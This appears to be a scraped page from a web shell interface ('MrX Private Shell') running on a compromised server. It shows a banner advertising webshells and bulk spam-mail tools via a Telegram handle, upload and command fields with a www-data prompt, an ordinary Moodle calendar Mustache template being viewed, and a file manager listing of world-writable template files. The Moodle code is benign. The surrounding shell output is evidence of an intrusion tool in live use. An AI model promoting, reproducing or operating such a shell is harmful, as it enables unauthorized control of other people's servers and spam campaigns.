__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template core_calendar/upcoming_mini

    Calendar upcoming view for blocks.

    The purpose of this template is to render the upcoming view for blocks.

    Classes required for JS:
    * none

    Data attributes required for JS:
    * none

    Example context (json):
    {
    }
}}
<div class="card-text content calendarwrapper"{{!
    }} id="month-upcoming-mini-{{uniqid}}"{{!
    }} data-context-id="{{defaulteventcontext}}"{{!
    }} data-courseid="{{courseid}}"{{!
    }} data-categoryid="{{categoryid}}"{{!
}}>
    {{> core/overlay_loading}}
    {{#events}}
        <div{{!
            }} class="event d-flex border-bottom pt-2 pb-3"{{!
            }} data-eventtype-{{normalisedeventtype}}="1"{{!
            }} data-region="event-item"{{!
        }}>
            <div class="activityiconcontainer small courseicon me-3">
                {{#icon}}
                {{#iconurl}}
                    <img alt="{{alttext}}" title="{{alttext}}" src="{{{ iconurl }}}" class="icon {{iconclass}}">
                {{/iconurl}}
                {{^iconurl}}
                    {{#pix}} {{key}}, {{component}}, {{alttext}} {{/pix}}
                {{/iconurl}}
                {{/icon}}
            </div>
            <div class="overflow-auto">
                <h6 class="d-flex mb-1">
                    <a{{!
                        }} class="text-truncate"{{!
                        }} data-type="event"{{!
                        }} data-action="view-event"{{!
                        }} data-event-id="{{id}}"{{!
                        }} href="{{viewurl}}"{{!
                        }} title="{{name}}"{{!
                    }}>{{{name}}}</a>
                </h6>
                <div class="date small">{{{formattedtime}}}</div>
            </div>
        </div>
    {{/events}}
    {{^events}}
        {{#str}}noupcomingevents, calendar{{/str}}
    {{/events}}
</div>
{{#js}}
require([
    'jquery',
    'core_calendar/selectors',
    'core_calendar/events',
], function(
    $,
    CalendarSelectors,
    CalendarEvents
) {
    var root = $('#month-upcoming-mini-{{uniqid}}');

    $('body').on(CalendarEvents.filterChanged, function(e, data) {
        M.util.js_pending("month-upcoming-mini-{{uniqid}}-filterChanged");

        // A filter value has been changed.
        // Find all matching cells in the popover data, and hide them.
        var target = $("#month-upcoming-mini-{{uniqid}}").find(CalendarSelectors.eventType[data.type]);

        var transitionPromise = $.Deferred();
        if (data.hidden) {
            transitionPromise.then(function() {
                return target.slideUp('fast').promise();
            });
        } else {
            transitionPromise.then(function() {
                return target.slideDown('fast').promise();
            });
        }

        transitionPromise.then(function() {
            M.util.js_complete("month-upcoming-mini-{{uniqid}}-filterChanged");

            return;
        });

        transitionPromise.resolve();
    });
});
{{/js}}

Filemanager

Name Type Size Permission Actions
add_event_button.mustache File 1.32 KB 0777
calendar_day.mustache File 1.42 KB 0777
calendar_mini.mustache File 1.5 KB 0777
calendar_month.mustache File 1.51 KB 0777
calendar_upcoming.mustache File 1.29 KB 0777
calendar_upcoming_mini.mustache File 1.3 KB 0777
day_detailed.mustache File 1.65 KB 0777
day_navigation.mustache File 2.19 KB 0777
event_delete_modal.mustache File 1.69 KB 0777
event_details.mustache File 4.19 KB 0777
event_filter.mustache File 1.29 KB 0777
event_filter_key.mustache File 1.61 KB 0777
event_icon.mustache File 1.49 KB 0777
event_item.mustache File 3.76 KB 0777
event_list.mustache File 1.21 KB 0777
event_subscription.mustache File 1.44 KB 0777
event_summary_body.mustache File 1.49 KB 0777
event_summary_modal.mustache File 1.62 KB 0777
export_calendar_url.mustache File 1.99 KB 0777
footer_options.mustache File 1.28 KB 0777
header.mustache File 1.26 KB 0777
minicalendar_day_link.mustache File 2.38 KB 0777
modal_event_form.mustache File 1.6 KB 0777
month_detailed.mustache File 9.44 KB 0777
month_mini.mustache File 7.09 KB 0777
month_navigation.mustache File 2.57 KB 0777
subscription_update_result.mustache File 1.82 KB 0777
upcoming_detailed.mustache File 1.4 KB 0777
upcoming_mini.mustache File 3.64 KB 0777
view_selector.mustache File 2.6 KB 0777
Filemanager